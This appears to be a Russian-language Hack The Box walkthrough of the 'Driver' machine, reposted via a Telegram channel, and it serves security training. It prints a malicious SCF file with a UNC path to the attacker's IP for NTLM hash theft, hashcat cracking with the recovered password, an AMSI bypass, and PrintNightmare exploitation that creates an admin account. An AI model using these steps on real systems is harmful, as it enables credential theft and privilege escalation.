Хакер - HTB Driver. Эксплуатируем PrintNightmare и делаем вредоносный SCF

Хакер - HTB Driver. Эксплуатируем PrintNightmare и делаем вредоносный SCF

hacker_frei

https://t.me/hacker_frei

RalfHacker 

Содержание статьи

  • Разведка. Сканирование портов
  • Точка входа
  • Утечка хеша NTLM
  • Локальное повышение привилегий

Се­год­ня мы с тобой раз­берем уяз­вимость PrintNightmare, которая поз­воля­ет повысить при­виле­гии в Windows через баг в сис­теме печати (CVE-2021-1675). Так­же мы сде­лаем вре­донос­ный файл SCF, который поможет нам получить NTLM-хеш пароля поль­зовате­ля.

Все это — что­бы прой­ти прос­тую по уров­ню слож­ности машину Driver с пло­щад­ки Hack The Box.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА. СКАНИРОВАНИЕ ПОРТОВ

Для удобс­тва добав­ляем IP-адрес машины в /etc/hosts:

10.10.11.106 driver.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та.

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

На­ходим четыре откры­тых пор­та:

  • 80 (HTTP) — веб‑сер­вер Microsoft IIS/10.0;
  • 135 — служ­ба уда­лен­ного вызова про­цедур (Microsoft RPC). Исполь­зует­ся для опе­раций кон­трол­лер — кон­трол­лер и кон­трол­лер — кли­ент;
  • 445 — служ­ба SMB;
  • 5985 — этот порт отве­чает за служ­бу уда­лен­ного управле­ния WinRM.

Пер­вым делом я попытал­ся бег­ло взгля­нуть на SMB. Целью было понять, что эта служ­ба может дать. Узнать это мож­но корот­кой коман­дой smbmap -H driver.htb, на что получим однознач­ный ответ — [!] Authentication error on driver.htb. Зна­чит, SMB мож­но пока про­пус­тить — без авто­риза­ции здесь ловить нечего. С WinRM на дан­ном эта­пе нам может помочь толь­ко брут, а при решении машин с HTB это не комиль­фо. Так что идем смот­реть веб.

Зап­рос учет­ных дан­ных

Не­дол­го думая, вво­дим нес­коль­ко рас­простра­нен­ных сочета­ний дефол­тных логинов и паролей. Пер­вое же сочета­ние admin:admin откры­вает нам глав­ную стра­ницу сай­та.

Глав­ная стра­ница сай­та

Пос­ле осмотра сай­та оста­нав­лива­емся на единс­твен­ной «живой» стра­нице Firmware Updates, на которой есть фор­ма заг­рузки фай­ла.

Стра­ница Firmware Updates

ТОЧКА ВХОДА

Пер­вым делом я попытал­ся заг­рузить исполня­емые фай­лы .exe, но это не при­нес­ло ров­ным сче­том ничего. Но есть и дру­гие фор­маты фай­лов, которые поз­волят выпол­нить опре­делен­ные опе­рации, хоть их и огра­ничен­ное количес­тво. Один из таких фор­матов — SCF (shell command files). Фай­лы SCF мож­но исполь­зовать для опе­раций вро­де «Свер­нуть все окна» или «Открыть про­вод­ник Windows». А еще файл SCF может исполь­зовать­ся для дос­тупа к опре­делен­ному пути UNC, что может при­вес­ти к утеч­ке поль­зователь­ско­го хеша NetNTLMv2. Это про­изой­дет, потому что Windows попыта­ется аутен­тифици­ровать­ся на этом общем ресур­се, исполь­зуя имя и пароль поль­зовате­ля.

Утечка хеша NTLM

Поп­робу­ем это про­экс­плу­ати­ровать. Сна­чала соз­дадим файл SCF @test.scf со сле­дующим содер­жимым (@ поз­волит помес­тить файл ввер­ху спис­ка фай­лов в катало­ге, в дан­ном слу­чае это необя­затель­но).

[Shell]

Command=2

IconFile=\\10.10.14.53\share\ralf.ico

[Taskbar]

Command=ToggleDesktop

Этот файл дол­жен свер­нуть все окна, это опре­деля­ет параметр Command в дирек­тиве [Taskbar]. Но это нам не важ­но, так как хит­рость кро­ется в дру­гом: в дирек­тиве [Shell] параметр IconFile ука­зыва­ет UNC-путь к икон­ке фай­ла. Имен­но это и зас­тавит уда­лен­ный хост попытать­ся авто­ризо­вать­ся на нашем ресур­се.

По­лучить аутен­тифика­цион­ные дан­ные целево­го поль­зовате­ля при под­клю­чении к нашему SMB-ресур­су мы можем с помощью Responder. Давай акти­виру­ем наш «отлавли­ватель», а затем заг­рузим упо­мяну­тый файл.

sudo responder -I tun0

От­ловлен­ный хеш пароля поль­зовате­ля Tony

И получа­ем желан­ный хеш, который теперь нуж­но поломать. Я для этих целей обыч­но исполь­зую hashcat, но этой прог­рамме нуж­но ука­зать тип хеша. К счастью, в справ­ке уже все ука­зано и нам нуж­но лишь най­ти под­ходящий номер. Для это­го мы отоб­ража­ем при­мер всех видов хешей и отби­раем тот, где встре­чает­ся NetNTLMv2.

hashcat --example | grep -A 2 -B 2 NTLM

При­мер NTLM-хешей, получен­ных в hashcat

Мы узна­ем режим: 5600. К тому же нам показы­вают хеш, который визу­аль­но по струк­туре похож на тот, что мы получи­ли в Responder. А теперь приш­ло вре­мя этот хеш переб­рать. Для перебо­ра будем исполь­зовать все тот же hashcat со сле­дующи­ми аргу­мен­тами:

  • -a 0 — режим перебо­ра, нулевой озна­чает по сло­варю;
  • -m [] — режим, тут ука­зыва­ем тип хеша, получен­ный ранее;
  • ksven.hash — файл, в котором записан хеш или хеши;
  • rockyou.txt — сло­варь с воз­можны­ми пароля­ми.

hashcat -a 0 -m 5600 tony.hash rockyou.txt

Ре­зуль­тат взло­ма хеша, пред­став­ленный hashcat

В ито­ге hashcat очень быс­тро находит пароль. Мы можем сра­зу же про­верить его в служ­бах WinRM и SMB с помощью crackmapexec.

crackmapexec winrm driver.htb -u tony -p liltony

Про­вер­ка учет­ных дан­ных

Учет­ные дан­ные подош­ли к служ­бе WinRM, поэто­му мы получа­ем ста­биль­ный дос­туп. Для дос­тупа будем исполь­зовать обо­лоч­ку Evil-WinRM.

evil-winrm -i driver.htb -u tony -p liltony

Флаг поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

У нас есть флаг поль­зовате­ля, так что теперь наша задача — заполу­чить адми­нис­тра­тор­ские при­виле­гии. Пер­вым делом мож­но про­верить информа­цию о сис­теме (коман­да systeminfo) и о текущем поль­зовате­ле (whoami /all), а так­же получить спи­сок запущен­ных про­цес­сов (коман­ды tasklist или ps).

Спи­сок запущен­ных про­цес­сов

В сис­теме работа­ет про­цесс служ­бы печати spoolsv.exe. Служ­ба Windows Print Spooler — это уни­вер­саль­ный интерфейс меж­ду ОС, при­ложе­ниями и локаль­ными или сетевы­ми прин­терами. Она поз­воля­ет раз­работ­чикам при­ложе­ний отправ­лять задания на печать. Про­верить ее работу мож­но и через служ­бу RPC уда­лен­но:

rpcdump.py @driver.htb | egrep 'MS-RPRN|MS-PAR'

Про­вер­ка работы служ­бы печати

На ум сра­зу при­ходит недав­няя нашумев­шая уяз­вимость CVE-2021-1675, она же PrintNightmare. Баг кро­ется в вызове RpcAddPrinterDriver дис­петче­ра оче­реди печати Windows. Кли­ент исполь­зует вызов RPC для добав­ления драй­вера на сер­вер, сох­раняя его в локаль­ном или уда­лен­ном катало­ге SMB. Пос­ле чего кли­ент ини­циали­зиру­ет объ­ект DRIVER_CONTAINER, исполь­зуемый в вызове RpcAddPrinterDriver, для заг­рузки драй­вера. Драй­вер может содер­жать про­изволь­ный код, который будет выпол­нять­ся на сер­вере с пра­вами SYSTEM. Коман­ду может выпол­нить любой поль­зователь, про­шед­ший аутен­тифика­цию в служ­бе дис­петче­ра оче­реди печати. Про­ще говоря, имея минималь­ные при­виле­гии, мы можем выпол­нить любую DLL от име­ни SYSTEM.

Также о PrintNightmare

На GitHub уже дос­таточ­но экс­пло­итов для этой уяз­вимос­ти, реали­зован­ных на раз­ных язы­ках и выпол­няющих раз­ные фун­кции. К при­меру, есть экс­пло­ит, который соз­даст нового поль­зовате­ля‑адми­нис­тра­тора. Ска­чаем его на локаль­ный хост и из катало­га с экс­пло­итом пов­торим под­клю­чение с помощью Evil-WinRM. Толь­ко в этот раз будем ука­зывать параметр -s, что поможет нам лег­ко заг­рузить в память скрипт на PowerShell.

evil-winrm -i driver.htb -u tony -p liltony -s .

Пос­ле под­клю­чения луч­ше выз­вать коман­ду menu и запат­чить AMSI коман­дой Bypass-4MSI.

Патч AMSI

За­тем заг­ружа­ем скрипт в память и вызыва­ем единс­твен­ную фун­кцию Invoke-Nightmare.

Invoke-Nightmare -NewUser "ralf" -NewPassword "ralf"

Экс­плу­ата­ция PrintNightmare

Под­клю­чаем­ся с учет­ными дан­ными нового поль­зовате­ля и забира­ем флаг адми­нис­тра­тора.

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page